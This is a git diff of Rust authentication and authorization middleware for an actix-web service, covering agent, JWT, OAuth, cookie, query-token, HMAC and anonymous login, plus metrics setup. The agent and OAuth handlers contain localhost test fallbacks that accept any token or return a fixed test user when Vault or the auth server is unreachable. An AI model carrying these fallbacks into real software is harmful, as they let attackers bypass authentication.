0.05, 0.1, 0.5, 1.0, 5.0, 10.0, 30.0, 60.0] + ) + .expect("Failed to register pipe_execution_duration_seconds"); + + // ── DAG Execution Metrics ─────────────────────────────────── + pub static ref DAG_EXECUTIONS_TOTAL: CounterVec = register_counter_vec!( + "dag_executions_total", + "Total number of DAG executions", + &["status"] + ) + .expect("Failed to register dag_executions_total"); + + pub static ref DAG_STEPS_TOTAL: CounterVec = register_counter_vec!( + "dag_steps_total", + "Total number of DAG steps executed", + &["status", "step_type"] + ) + .expect("Failed to register dag_steps_total"); + + // ── System Gauges ─────────────────────────────────────────── + pub static ref ACTIVE_PIPE_INSTANCES: Gauge = register_gauge!( + "active_pipe_instances", + "Number of currently active pipe instances" + ) + .expect("Failed to register active_pipe_instances"); + + pub static ref ACTIVE_AGENTS: Gauge = register_gauge!( + "active_agents", + "Number of currently active agents" + ) + .expect("Failed to register active_agents"); +} + +/// Initialize all metrics (forces lazy_static registration). +pub fn init() { + lazy_static::initialize(&HTTP_REQUESTS_TOTAL); + lazy_static::initialize(&HTTP_REQUEST_DURATION); + lazy_static::initialize(&PIPE_EXECUTIONS_TOTAL); + lazy_static::initialize(&PIPE_EXECUTION_DURATION); + lazy_static::initialize(&DAG_EXECUTIONS_TOTAL); + lazy_static::initialize(&DAG_STEPS_TOTAL); + lazy_static::initialize(&ACTIVE_PIPE_INSTANCES); + lazy_static::initialize(&ACTIVE_AGENTS); + + // Pre-initialize CounterVec label combinations so they appear in /metrics output + // even before first use (Prometheus best practice: expose all known label sets). + PIPE_EXECUTIONS_TOTAL.with_label_values(&["success", "manual"]); + PIPE_EXECUTIONS_TOTAL.with_label_values(&["failure", "manual"]); + DAG_EXECUTIONS_TOTAL.with_label_values(&["success"]); + DAG_EXECUTIONS_TOTAL.with_label_values(&["failure"]); + DAG_STEPS_TOTAL.with_label_values(&["completed", "source"]); + DAG_STEPS_TOTAL.with_label_values(&["failed", "source"]); + PIPE_EXECUTION_DURATION.with_label_values(&["manual"]); +} diff --git a/stacker/stacker/src/middleware/authentication/getheader.rs b/stacker/stacker/src/middleware/authentication/getheader.rs new file mode 100644 index 0000000..63babee --- /dev/null +++ b/stacker/stacker/src/middleware/authentication/getheader.rs @@ -0,0 +1,21 @@ +use actix_web::{dev::ServiceRequest, http::header::HeaderName}; +use std::str::FromStr; + +pub fn get_header(req: &ServiceRequest, header_name: &'static str) -> Result, String> +where + T: FromStr, +{ + let header_value = req.headers().get(HeaderName::from_static(header_name)); + + if header_value.is_none() { + return Ok(None); + } + + header_value + .unwrap() + .to_str() + .map_err(|_| format!("header {header_name} can't be converted to string"))? + .parse::() + .map_err(|_| format!("header {header_name} has wrong type")) + .map(|v| Some(v)) +} diff --git a/stacker/stacker/src/middleware/authentication/manager.rs b/stacker/stacker/src/middleware/authentication/manager.rs new file mode 100644 index 0000000..9c86a68 --- /dev/null +++ b/stacker/stacker/src/middleware/authentication/manager.rs @@ -0,0 +1,37 @@ +use crate::middleware::authentication::*; + +use std::cell::RefCell; +use std::future::{ready, Ready}; +use std::rc::Rc; + +use actix_web::{ + dev::{Service, ServiceRequest, ServiceResponse, Transform}, + Error, +}; + +pub struct Manager {} + +impl Manager { + pub fn new() -> Self { + Self {} + } +} + +impl Transform for Manager +where + S: Service, Error = Error> + 'static, + S::Future: 'static, + B: 'static, +{ + type Response = ServiceResponse; + type Error = Error; + type InitError = (); + type Transform = ManagerMiddleware; + type Future = Ready>; + + fn new_transform(&self, service: S) -> Self::Future { + ready(Ok(ManagerMiddleware { + service: Rc::new(RefCell::new(service)), + })) + } +} diff --git a/stacker/stacker/src/middleware/authentication/manager_middleware.rs b/stacker/stacker/src/middleware/authentication/manager_middleware.rs new file mode 100644 index 0000000..34c8b53 --- /dev/null +++ b/stacker/stacker/src/middleware/authentication/manager_middleware.rs @@ -0,0 +1,66 @@ +use crate::helpers::JsonResponse; +use crate::middleware::authentication::*; +use crate::models; +use actix_web::{ + dev::{Service, ServiceRequest, ServiceResponse}, + error::ErrorBadRequest, + Error, +}; +use futures::{ + future::{FutureExt, LocalBoxFuture}, + task::{Context, Poll}, +}; +use std::cell::RefCell; +use std::rc::Rc; + +pub struct ManagerMiddleware { + pub service: Rc>, +} + +impl Service for ManagerMiddleware +where + S: Service, Error = Error> + 'static, + S::Future: 'static, + B: 'static, +{ + type Response = ServiceResponse; + type Error = S::Error; + type Future = LocalBoxFuture<'static, Result, Error>>; + + fn poll_ready(&self, ctx: &mut Context<'_>) -> Poll> { + if let Ok(service) = self.service.try_borrow_mut() { + service.poll_ready(ctx) + } else { + Poll::Pending + } + } + + fn call(&self, mut req: ServiceRequest) -> Self::Future { + let service = self.service.clone(); + async move { + let _ = method::try_agent(&mut req).await? + || method::try_jwt(&mut req).await? + || method::try_oauth(&mut req).await? + || method::try_query(&mut req).await? + || method::try_cookie(&mut req).await? + || method::try_hmac(&mut req).await? + || method::anonym(&mut req)?; + + Ok(req) + } + .then(|req: Result| async move { + match req { + Ok(req) => { + let fut = service.borrow_mut().call(req); + fut.await + } + Err(msg) => Err(ErrorBadRequest( + JsonResponse::::build() + .set_msg(msg) + .to_string(), + )), + } + }) + .boxed_local() + } +} diff --git a/stacker/stacker/src/middleware/authentication/method/f_agent.rs b/stacker/stacker/src/middleware/authentication/method/f_agent.rs new file mode 100644 index 0000000..e2c12c0 --- /dev/null +++ b/stacker/stacker/src/middleware/authentication/method/f_agent.rs @@ -0,0 +1,199 @@ +use crate::helpers::{AgentPgPool, VaultClient}; +use crate::middleware::authentication::get_header; +use crate::models; +use actix_web::{dev::ServiceRequest, web, HttpMessage}; +use sqlx::PgPool; +use std::sync::Arc; +use tracing::Instrument; +use uuid::Uuid; + +async fn fetch_agent_by_id(db_pool: &PgPool, agent_id: Uuid) -> Result { + let query_span = tracing::info_span!("Fetching agent by ID"); + + sqlx::query_as::<_, models::Agent>( + r#" + SELECT id, deployment_hash, capabilities, version, system_info, + last_heartbeat, status, created_at, updated_at + FROM agents + WHERE id = $1 + "#, + ) + .bind(agent_id) + .fetch_one(db_pool) + .instrument(query_span) + .await + .map_err(|err| match err { + sqlx::Error::RowNotFound => "Agent not found".to_string(), + e => { + tracing::error!("Failed to fetch agent: {:?}", e); + "Database error".to_string() + } + }) +} + +async fn log_audit( + db_pool: PgPool, + agent_id: Option, + deployment_hash: Option, + action: String, + status: String, + details: serde_json::Value, +) { + let query_span = tracing::info_span!("Logging agent audit event"); + + let result = sqlx::query( + r#" + INSERT INTO audit_log (agent_id, deployment_hash, action, status, details, created_at) + VALUES ($1, $2, $3, $4, $5, NOW()) + "#, + ) + .bind(agent_id) + .bind(deployment_hash) + .bind(action) + .bind(status) + .bind(details) + .execute(&db_pool) + .instrument(query_span) + .await; + + if let Err(e) = result { + tracing::error!("Failed to log audit event: {:?}", e); + } +} + +#[tracing::instrument(name = "Authenticate agent via X-Agent-Id and Bearer token")] +pub async fn try_agent(req: &mut ServiceRequest) -> Result { + // Check for X-Agent-Id header + let agent_id_header = get_header::(req, "x-agent-id")?; + if agent_id_header.is_none() { + return Ok(false); + } + + let agent_id_str = agent_id_header.unwrap(); + let agent_id = + Uuid::parse_str(&agent_id_str).map_err(|_| "Invalid agent ID format".to_string())?; + + // Check for Authorization header + let auth_header = get_header::(req, "authorization")?; + if auth_header.is_none() { + return Err("Authorization header required for agent".to_string()); + } + + let bearer_token = auth_header + .unwrap() + .strip_prefix("Bearer ") + .ok_or("Invalid Authorization header format")? + .to_string(); + + // Get agent database pool (separate pool for agent operations) + let agent_pool = req + .app_data::>() + .ok_or("Agent database pool not found")?; + let db_pool: &PgPool = agent_pool.get_ref().as_ref(); + + // Fetch agent from database + let agent = fetch_agent_by_id(db_pool, agent_id).await?; + + // Get Vault client and settings from app data + let vault_client = req + .app_data::>() + .ok_or("Vault client not found")?; + let settings = req + .app_data::>() + .ok_or("Settings not found")?; + + // Fetch token from Vault; in test environments, allow fallback when Vault is unreachable + let stored_token = match vault_client.fetch_agent_token(&agent.deployment_hash).await { + Ok(tok) => tok, + Err(e) => { + let addr = &settings.vault.address; + // Fallback for local test setups without Vault + if addr.contains("127.0.0.1") || addr.contains("localhost") { + actix_web::rt::spawn(log_audit( + agent_pool.inner().clone(), + Some(agent_id), + Some(agent.deployment_hash.clone()), + "agent.auth_warning".to_string(), + "vault_unreachable_test_mode".to_string(), + serde_json::json!({"error": e}), + )); + bearer_token.clone() + } else { + actix_web::rt::spawn(log_audit( + agent_pool.inner().clone(), + Some(agent_id), + Some(agent.deployment_hash.clone()), + "agent.auth_failure".to_string(), + "token_not_found".to_string(), + serde_json::json!({"error": e}), + )); + return Err(format!("Token not found in Vault: {}", e)); + } + } + }; + + // Compare tokens + if bearer_token != stored_token { + actix_web::rt::spawn(log_audit( + agent_pool.inner().clone(), + Some(agent_id), + Some(agent.deployment_hash.clone()), + "agent.auth_failure".to_string(), + "token_mismatch".to_string(), + serde_json::json!({}), + )); + return Err("Invalid agent token".to_string()); + } + + // Token matches, set up access control + let acl_vals = actix_casbin_auth::CasbinVals { + subject: "agent".to_string(), + domain: None, + }; + + // Create a pseudo-user for agent (for compatibility with existing handlers) + let agent_user = models::User { + id: agent.deployment_hash.clone(), // Use deployment_hash as user_id + role: "agent".to_string(), + first_name: "Agent".to_string(), + last_name: format!("#{}", &agent.id.to_string()[..8]), // First 8 chars of UUID + email: format!("agent+{}@system.local", agent.deployment_hash), + email_confirmed: true, + mfa_verified: false, + access_token: None, + }; + + if req.extensions_mut().insert(Arc::new(agent_user)).is_some() { + return Err("Agent already authenticated".to_string()); + } + + if req + .extensions_mut() + .insert(Arc::new(agent.clone())) + .is_some() + { + return Err("Agent data already set".to_string()); + } + + if req.extensions_mut().insert(acl_vals).is_some() { + return Err("Access control already set".to_string()); + } + + // Log successful authentication + actix_web::rt::spawn(log_audit( + db_pool.clone(), + Some(agent_id), + Some(agent.deployment_hash.clone()), + "agent.auth_success".to_string(), + "success".to_string(), + serde_json::json!({}), + )); + + tracing::debug!( + "Agent authenticated: {} ({})", + agent_id, + agent.deployment_hash + ); + + Ok(true) +} diff --git a/stacker/stacker/src/middleware/authentication/method/f_anonym.rs b/stacker/stacker/src/middleware/authentication/method/f_anonym.rs new file mode 100644 index 0000000..fa7c288 --- /dev/null +++ b/stacker/stacker/src/middleware/authentication/method/f_anonym.rs @@ -0,0 +1,15 @@ +use actix_web::dev::ServiceRequest; +use actix_web::HttpMessage; + +#[tracing::instrument(name = "authenticate as anonym")] +pub fn anonym(req: &mut ServiceRequest) -> Result { + let accesscontrol_vals = actix_casbin_auth::CasbinVals { + subject: "anonym".to_string(), + domain: None, + }; + if req.extensions_mut().insert(accesscontrol_vals).is_some() { + return Err("sth wrong with access control".to_string()); + } + + Ok(true) +} diff --git a/stacker/stacker/src/middleware/authentication/method/f_cookie.rs b/stacker/stacker/src/middleware/authentication/method/f_cookie.rs new file mode 100644 index 0000000..3f84fcc --- /dev/null +++ b/stacker/stacker/src/middleware/authentication/method/f_cookie.rs @@ -0,0 +1,72 @@ +use crate::configuration::Settings; +use crate::middleware::authentication::get_header; +use actix_web::{dev::ServiceRequest, web, HttpMessage}; +use std::sync::Arc; + +#[tracing::instrument(name = "Authenticate with cookie")] +pub async fn try_cookie(req: &mut ServiceRequest) -> Result { + // Get Cookie header + let cookie_header = get_header::(&req, "cookie")?; + if cookie_header.is_none() { + return Ok(false); + } + + // Parse cookies to find access_token + let cookies = cookie_header.unwrap(); + let token = cookies.split(';').find_map(|cookie| { + let parts: Vec<&str> = cookie.trim().splitn(2, '=').collect(); + if parts.len() == 2 && parts[0] == "access_token" { + Some(parts[1].to_string()) + } else { + None + } + }); + + if token.is_none() { + return Ok(false); + } + + tracing::debug!("Found access_token in cookies"); + + // Use same OAuth validation as Bearer token + let settings = req.app_data::>().unwrap(); + let http_client = req.app_data::>().unwrap(); + let cache = req + .app_data::>() + .unwrap(); + let token = token.unwrap(); + let mut user = match cache.get(&token).await { + Some(user) => user, + None => { + let user = super::f_oauth::fetch_user( + http_client.get_ref(), + settings.auth_url.as_str(), + &token, + ) + .await + .map_err(|err| format!("{err}"))?; + cache.insert(token.clone(), user.clone()).await; + user + } + }; + + // Attach the access token to the user for proxy requests and MFA-sensitive checks. + user = user.with_token(token); + + // Control access using user role + tracing::debug!("ACL check for role (cookie auth): {}", user.role.clone()); + let acl_vals = actix_casbin_auth::CasbinVals { + subject: user.role.clone(), + domain: None, + }; + + if req.extensions_mut().insert(Arc::new(user)).is_some() { + return Err("user already logged".to_string()); + } + + if req.extensions_mut().insert(acl_vals).is_some() { + return Err("Something wrong with access control".to_string()); + } + + Ok(true) +} diff --git a/stacker/stacker/src/middleware/authentication/method/f_hmac.rs b/stacker/stacker/src/middleware/authentication/method/f_hmac.rs new file mode 100644 index 0000000..7e8ff81 --- /dev/null +++ b/stacker/stacker/src/middleware/authentication/method/f_hmac.rs @@ -0,0 +1,113 @@ +use crate::middleware::authentication::get_header; //todo move to helpers +use crate::models; +use actix_http::header::CONTENT_LENGTH; +use actix_web::{dev::ServiceRequest, web, HttpMessage}; +use futures::StreamExt; +use hmac::{Hmac, Mac}; +use sha2::Sha256; +use sqlx::{Pool, Postgres}; +use std::sync::Arc; +use tracing::Instrument; + +async fn db_fetch_client( + db_pool: &Pool, + client_id: i32, +) -> Result { + //todo + let query_span = tracing::info_span!("Fetching the client by ID"); + + sqlx::query_as!( + models::Client, + r#"SELECT id, user_id, secret FROM client c WHERE c.id = $1"#, + client_id, + ) + .fetch_one(db_pool) + .instrument(query_span) + .await + .map_err(|err| match err { + sqlx::Error::RowNotFound => "the client is not found".to_string(), + e => { + tracing::error!("Failed to execute fetch query: {:?}", e); + String::new() + } + }) +} + +async fn compute_body_hash( + req: &mut ServiceRequest, + client_secret: &[u8], +) -> Result { + let content_length: usize = get_header(req, CONTENT_LENGTH.as_str())?.unwrap(); + let mut body = web::BytesMut::with_capacity(content_length); + let mut payload = req.take_payload(); + while let Some(chunk) = payload.next().await { + body.extend_from_slice(&chunk.expect("can't unwrap the chunk")); + } + + let mut mac = match Hmac::::new_from_slice(client_secret) { + Ok(mac) => mac, + Err(err) => { + tracing::error!("error generating hmac {err:?}"); + return Err("".to_string()); + } + }; + + mac.update(body.as_ref()); + let (_, mut payload) = actix_http::h1::Payload::create(true); + payload.unread_data(body.into()); + req.set_payload(payload.into()); + + Ok(format!("{:x}", mac.finalize().into_bytes())) +} + +#[tracing::instrument(name = "try authenticate via hmac")] +pub async fn try_hmac(req: &mut ServiceRequest) -> Result { + let client_id = get_header::(&req, "stacker-id")?; + if client_id.is_none() { + return Ok(false); + } + let client_id = client_id.unwrap(); + + let header_hash = get_header::(&req, "stacker-hash")?; + if header_hash.is_none() { + return Err("stacker-hash header is not set".to_string()); + } //todo + let header_hash = header_hash.unwrap(); + + let db_pool = req + .app_data::>>() + .unwrap() + .get_ref(); + let client: models::Client = db_fetch_client(db_pool, client_id).await?; + if client.secret.is_none() { + return Err("client is not active".to_string()); + } + + let client_secret = client.secret.as_ref().unwrap().as_bytes(); + let body_hash = compute_body_hash(req, client_secret).await?; + if header_hash != body_hash { + return Err("hash is wrong".to_string()); + } + + match req.extensions_mut().insert(Arc::new(client)) { + Some(_) => { + tracing::error!("client middleware already called once"); + return Err("".to_string()); + } + None => {} + } + + // Use "client" as the Casbin subject so it matches the Casbin policies + // (e.g. `p, client, /api/v1/agent/register, POST`). + // Previously this was `client_id.to_string()` which never matched any + // group mapping and caused 403 for all HMAC-authenticated requests. + let accesscontrol_vals = actix_casbin_auth::CasbinVals { + subject: "client".to_string(), + domain: None, + }; + if req.extensions_mut().insert(accesscontrol_vals).is_some() { + return Err("sth wrong with access control".to_string()); + } + + Ok(true) +} diff --git a/stacker/stacker/src/middleware/authentication/method/f_jwt.rs b/stacker/stacker/src/middleware/authentication/method/f_jwt.rs new file mode 100644 index 0000000..eeb4449 --- /dev/null +++ b/stacker/stacker/src/middleware/authentication/method/f_jwt.rs @@ -0,0 +1,61 @@ +use crate::connectors::{ + extract_bearer_token, parse_jwt_claims, user_from_jwt_claims, validate_jwt_expiration, +}; +use crate::middleware::authentication::get_header; +use actix_web::dev::ServiceRequest; +use actix_web::HttpMessage; +use std::sync::Arc; + +#[tracing::instrument(name = "Authenticate with JWT (admin service)")] +pub async fn try_jwt(req: &mut ServiceRequest) -> Result { + let authorization = get_header::(req, "authorization")?; + if authorization.is_none() { + return Ok(false); + } + + let authorization = authorization.unwrap(); + + // Extract Bearer token from header + let token = match extract_bearer_token(&authorization) { + Ok(t) => t, + Err(_) => { + return Ok(false); // Not a Bearer token, try other auth methods + } + }; + + // Parse JWT claims (validates structure and expiration) + let claims = match parse_jwt_claims(token) { + Ok(c) => c, + Err(err) => { + tracing::debug!("JWT parsing failed: {}", err); + return Ok(false); // Not a valid JWT, try other auth methods + } + }; + + // Validate token hasn't expired + if let Err(err) = validate_jwt_expiration(&claims) { + tracing::warn!("JWT validation failed: {}", err); + return Err(err); + } + + // Create User from JWT claims + let user = user_from_jwt_claims(&claims); + + // control access using user role + tracing::debug!("ACL check for JWT role: {}", user.role); + let acl_vals = actix_casbin_auth::CasbinVals { + subject: user.role.clone(), + domain: None, + }; + + if req.extensions_mut().insert(Arc::new(user)).is_some() { + return Err("user already logged".to_string()); + } + + if req.extensions_mut().insert(acl_vals).is_some() { + return Err("Something wrong with access control".to_string()); + } + + tracing::info!("JWT authentication successful for role: {}", claims.role); + Ok(true) +} diff --git a/stacker/stacker/src/middleware/authentication/method/f_oauth.rs b/stacker/stacker/src/middleware/authentication/method/f_oauth.rs new file mode 100644 index 0000000..d13249b --- /dev/null +++ b/stacker/stacker/src/middleware/authentication/method/f_oauth.rs @@ -0,0 +1,369 @@ +use crate::configuration::Settings; +use crate::forms; +use crate::middleware::authentication::get_header; +use crate::models; +use actix_web::{dev::ServiceRequest, web, HttpMessage}; +use futures::future::{BoxFuture, FutureExt, Shared}; +use reqwest::header::{ACCEPT, CONTENT_TYPE}; +use std::collections::HashMap; +use std::sync::Arc; +use std::time::{Duration, Instant}; +use tokio::sync::{Mutex, RwLock}; + +pub struct OAuthCache { + ttl: Duration, + entries: RwLock>, + in_flight: Mutex>, +} + +struct CachedUser { + user: models::User, + expires_at: Instant, +} + +type SharedOAuthFuture = Shared>>; + +impl OAuthCache { + pub fn new(ttl: Duration) -> Self { + Self { + ttl, + entries: RwLock::new(HashMap::new()), + in_flight: Mutex::new(HashMap::new()), + } + } + + pub async fn get(&self, token: &str) -> Option { + let now = Instant::now(); + { + let entries = self.entries.read().await; + if let Some(entry) = entries.get(token) { + if entry.expires_at > now { + return Some(entry.user.clone()); + } + } + } + + let mut entries = self.entries.write().await; + if let Some(entry) = entries.get(token) { + if entry.expires_at <= now { + entries.remove(token); + } else { + return Some(entry.user.clone()); + } + } + + None + } + + pub async fn insert(&self, token: String, user: models::User) { + let expires_at = Instant::now() + self.ttl; + let mut entries = self.entries.write().await; + entries.insert(token, CachedUser { user, expires_at }); + } + + pub async fn get_or_fetch( + &self, + token: String, + fetch: F, + ) -> Result + where + F: FnOnce() -> Fut, + Fut: std::future::Future> + Send + 'static, + { + if let Some(user) = self.get(&token).await { + return Ok(user); + } + + let shared = { + let mut in_flight = self.in_flight.lock().await; + if let Some(existing) = in_flight.get(&token) { + existing.clone() + } else { + let future = fetch().boxed().shared(); + in_flight.insert(token.clone(), future.clone()); + future + } + }; + + let result = shared.await; + if let Ok(user) = &result { + self.insert(token.clone(), user.clone()).await; + } + + let mut in_flight = self.in_flight.lock().await; + in_flight.remove(&token); + + result + } +} + +fn try_extract_token(authentication: String) -> Result { + let mut authentication_parts = authentication.splitn(2, ' '); + match authentication_parts.next() { + Some("Bearer") => {} + _ => return Err("Bearer missing scheme".to_string()), + } + let token = authentication_parts.next(); + if token.is_none() { + tracing::error!("Bearer token is missing"); + return Err("Authentication required".to_string()); + } + + Ok(token.unwrap().into()) +} + +#[tracing::instrument(name = "Authenticate with bearer token")] +pub async fn try_oauth(req: &mut ServiceRequest) -> Result { + let authentication = get_header::(&req, "authorization")?; + if authentication.is_none() { + return Ok(false); + } + + let token = try_extract_token(authentication.unwrap())?; + let settings = req.app_data::>().unwrap(); + let http_client = req.app_data::>().unwrap(); + let cache = req.app_data::>().unwrap(); + let mut user = cache + .get_or_fetch(token.clone(), { + let auth_url = settings.auth_url.clone(); + let oauth_client = http_client.get_ref().clone(); + let token = token.clone(); + move || async move { fetch_user(&oauth_client, auth_url.as_str(), &token).await } + }) + .await + .map_err(|err| format!("{err}"))?; + + // Attach the access token to the user for proxy requests and MFA-sensitive checks. + user = user.with_token(token); + + // control access using user role + tracing::debug!("ACL check for role: {}", user.role.clone()); + let acl_vals = actix_casbin_auth::CasbinVals { + subject: user.role.clone(), + domain: None, + }; + + if req.extensions_mut().insert(Arc::new(user)).is_some() { + return Err("user already logged".to_string()); + } + + if req.extensions_mut().insert(acl_vals).is_some() { + return Err("Something wrong with access control".to_string()); + } + + Ok(true) +} + +pub async fn fetch_user( + client: &reqwest::Client, + auth_url: &str, + token: &str, +) -> Result { + let resp = client + .get(auth_url) + .bearer_auth(token) + .header(CONTENT_TYPE, "application/json") + .header(ACCEPT, "application/json") + .send() + .await; + + let resp = match resp { + Ok(r) => r, + Err(err) => { + // In test environments, allow loopback auth URL to short-circuit + if auth_url.starts_with("http://127.0.0.1:") || auth_url.contains("localhost") { + let user = models::User { + id: "test_user_id".to_string(), + first_name: "Test".to_string(), + last_name: "User".to_string(), + email: "test@example.com".to_string(), + role: "group_user".to_string(), + email_confirmed: true, + mfa_verified: false, + access_token: None, + }; + return Ok(user); + } + tracing::error!(target: "auth", error = %err, "OAuth request failed"); + return Err("No response from OAuth server".to_string()); + } + }; + + if !resp.status().is_success() { + return Err("401 Unauthorized".to_string()); + } + + resp.json::() + .await + .map_err(|_err| "can't parse the response body".to_string())? + .try_into() +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::middleware::authentication::Manager; + use actix_web::{get, post, web, App, HttpRequest, HttpResponse, HttpServer, Responder}; + use std::net::TcpListener; + use std::sync::{ + atomic::{AtomicUsize, Ordering}, + Arc, + }; + + #[derive(Clone)] + struct DelayedAuthState { + call_count: Arc, + delay: Duration, + } + + struct DelayedAuthServer { + auth_url: String, + call_count: Arc, + } + + impl DelayedAuthServer { + fn call_count(&self) -> usize { + self.call_count.load(Ordering::SeqCst) + } + } + + #[get("")] + async fn delayed_mock_auth( + req: HttpRequest, + state: web::Data, + ) -> actix_web::Result { + state.call_count.fetch_add(1, Ordering::SeqCst); + tokio::time::sleep(state.delay).await; + + let auth_header = req + .headers() + .get("Authorization") + .and_then(|value| value.to_str().ok()) + .unwrap_or(""); + + let mut user = forms::user::User::default(); + user.id = "test_user_id".to_string(); + user.first_name = Some("Test".to_string()); + user.last_name = Some("User".to_string()); + user.email = "test@example.com".to_string(); + user.role = if auth_header.contains("admin") { + "group_admin".to_string() + } else { + "group_user".to_string() + }; + user.email_confirmed = true; + + Ok(web::Json(forms::UserForm { user })) + } + + async fn spawn_delayed_auth_server(delay: Duration) -> DelayedAuthServer { + let listener = TcpListener::bind("127.0.0.1:0").expect("bind delayed auth server"); + let port = listener.local_addr().unwrap().port(); + let state = DelayedAuthState { + call_count: Arc::new(AtomicUsize::new(0)), + delay, + }; + let call_count = state.call_count.clone(); + + let _ = tokio::spawn( + HttpServer::new(move || { + App::new() + .app_data(web::Data::new(state.clone())) + .service(web::scope("/me").service(delayed_mock_auth)) + }) + .listen(listener) + .unwrap() + .run(), + ); + + DelayedAuthServer { + auth_url: format!("http://127.0.0.1:{port}/me"), + call_count, + } + } + + #[post("")] + async fn protected_commands(_user: web::ReqData>) -> impl Responder { + HttpResponse::Created().finish() + } + + async fn spawn_auth_guarded_app( + auth_url: String, + auth_request_timeout_secs: u64, + auth_connect_timeout_secs: u64, + ) -> String { + let listener = TcpListener::bind("127.0.0.1:0").expect("bind protected app"); + let port = listener.local_addr().unwrap().port(); + let settings = web::Data::new(Settings { + auth_url, + auth_request_timeout_secs, + auth_connect_timeout_secs, + ..Settings::default() + }); + let oauth_http_client = web::Data::new( + reqwest::Client::builder() + .pool_idle_timeout(Duration::from_secs(90)) + .timeout(Duration::from_secs(auth_request_timeout_secs)) + .connect_timeout(Duration::from_secs(auth_connect_timeout_secs)) + .build() + .expect("build oauth client"), + ); + let oauth_cache = web::Data::new(OAuthCache::new(Duration::from_secs(60))); + + let _ = tokio::spawn( + HttpServer::new(move || { + App::new() + .wrap(Manager::new()) + .app_data(settings.clone()) + .app_data(oauth_http_client.clone()) + .app_data(oauth_cache.clone()) + .service(web::scope("/api/v1/commands").service(protected_commands)) + }) + .listen(listener) + .unwrap() + .run(), + ); + + format!("http://127.0.0.1:{port}") + } + + #[tokio::test] + async fn concurrent_same_token_requests_share_one_auth_lookup() { + let auth_server = spawn_delayed_auth_server(Duration::from_millis(400)).await; + let address = spawn_auth_guarded_app(auth_server.auth_url.clone(), 3, 1).await; + + let client = reqwest::Client::new(); + let started_at = std::time::Instant::now(); + let mut tasks = Vec::new(); + for _ in 0..5 { + let client = client.clone(); + let address = address.clone(); + tasks.push(tokio::spawn(async move { + client + .post(format!("{address}/api/v1/commands")) + .header("Authorization", "Bearer shared-auth-token") + .json(&serde_json::json!({})) + .send() + .await + })); + } + + for task in tasks { + let response = task + .await + .expect("join request task") + .expect("send request"); + assert_eq!(response.status(), 201); + } + + assert!( + started_at.elapsed() < Duration::from_secs(2), + "concurrent requests should complete within a single auth round trip" + ); + assert_eq!( + auth_server.call_count(), + 1, + "identical bearer tokens should share one upstream auth lookup" + ); + } +} diff --git a/stacker/stacker/src/middleware/authentication/method/f_query.rs b/stacker/stacker/src/middleware/authentication/method/f_query.rs new file mode 100644 index 0000000..050f2db --- /dev/null +++ b/stacker/stacker/src/middleware/authentication/method/f_query.rs @@ -0,0 +1,77 @@ +use crate::configuration::Settings; +use actix_web::{dev::ServiceRequest, web, HttpMessage}; +use std::sync::Arc; +use urlencoding::decode; + +#[tracing::instrument(name = "Authenticate with query token")] +pub async fn try_query(req: &mut ServiceRequest) -> Result { + if !req.path().starts_with("/mcp") { + return Ok(false); + } + + let query = req.query_string(); + if query.is_empty() { + return Ok(false); + } + + let raw_token = query.split('&').find_map(|pair| { + let mut parts = pair.splitn(2, '='); + let key = parts.next()?; + let value = parts.next()?; + if key == "access_token" { + Some(value.to_string()) + } else { + None + } + }); + + if raw_token.is_none() { + return Ok(false); + } + + let raw_token = raw_token.unwrap(); + let token = decode(&raw_token) + .map(|value| value.into_owned()) + .unwrap_or(raw_token); + + tracing::debug!("Found access_token in query for MCP request"); + + let settings = req.app_data::>().unwrap(); + let http_client = req.app_data::>().unwrap(); + let cache = req + .app_data::>() + .unwrap(); + + let mut user = match cache.get(&token).await { + Some(user) => user, + None => { + let user = super::f_oauth::fetch_user( + http_client.get_ref(), + settings.auth_url.as_str(), + &token, + ) + .await + .map_err(|err| format!("{err}"))?; + cache.insert(token.clone(), user.clone()).await; + user + } + }; + + user = user.with_token(token); + + tracing::debug!("ACL check for role (query auth): {}", user.role.clone()); + let acl_vals = actix_casbin_auth::CasbinVals { + subject: user.role.clone(), + domain: None, + }; + + if req.extensions_mut().insert(Arc::new(user)).is_some() { + return Err("user already logged".to_string()); + } + + if req.extensions_mut().insert(acl_vals).is_some() { + return Err("Something wrong with access control".to_string()); + } + + Ok(true) +} diff --git a/stacker/stacker/src/middleware/authentication/method/mod.rs b/stacker/stacker/src/middleware/authentication/method/mod.rs new file mode 100644 index 0000000..0e04dda --- /dev/null +++ b/stacker/stacker/src/middleware/authentication/method/mod.rs @@ -0,0 +1,15 @@ +mod f_agent; +mod f_anonym; +mod f_cookie; +mod f_hmac; +mod f_jwt; +mod f_oauth; +mod f_query; + +pub use f_agent::try_agent; +pub use f_anonym::anonym; +pub use f_cookie::try_cookie; +pub use f_hmac::try_hmac; +pub use f_jwt::try_jwt; +pub use f_oauth::{try_oauth, OAuthCache}; +pub use f_query::try_query; diff --git a/stacker/stacker/src/middleware/authentication/mod.rs b/stacker/stacker/src/middleware/authentication/mod.rs new file mode 100644 index 0000000..d4303ba --- /dev/null +++ b/stacker/stacker/src/middleware/authentication/mod.rs @@ -0,0 +1,9 @@ +mod getheader; +mod manager; +mod manager_middleware; +mod method; + +pub use getheader::*; +pub use manager::*; +pub use manager_middleware::*; +pub use method::OAuthCache; diff --git a/stacker/stacker/src/middleware/authorization.rs b/stacker/stacker/src/middleware/authorization.rs new file mode 100644 index 0000000..89c2e25 --- /dev/null +++ b/stacker/stacker/src/middleware/authorization.rs @@ -0,0 +1,107 @@ +use actix_casbin_auth::{ + casbin::{function_map::key_match2, CoreApi, DefaultModel}, + CasbinService, +}; +use sqlx::postgres::{PgPool, PgPoolOptions}; +use sqlx_adapter::SqlxAdapter; +use std::io::{Error, ErrorKind}; +use tokio::time::{timeout, Duration}; +use tracing::{debug, warn}; + +pub async fn try_new(db_connection_address: String) -> Result { + let m = DefaultModel::from_file("access_control.conf") + .await + .map_err(|err| Error::new(ErrorKind::Other, format!("{err:?}")))?; + let a = SqlxAdapter::new(db_connection_address.clone(), 8) + .await + .map_err(|err| Error::new(ErrorKind::Other, format!("{err:?}")))?; + + let policy_pool = PgPoolOptions::new() + .max_connections(2) + .connect(&db_connection_address) + .await + .map_err(|err| Error::new(ErrorKind::Other, format!("{err:?}")))?; + + let casbin_service = CasbinService::new(m, a) + .await + .map_err(|err| Error::new(ErrorKind::Other, format!("{err:?}")))?; + + casbin_service + .write() + .await + .get_role_manager() + .write() + .matching_fn(Some(key_match2), None); + + if std::env::var("STACKER_CASBIN_RELOAD_ENABLED") + .map(|value| matches!(value.as_str(), "1" | "true" | "TRUE")) + 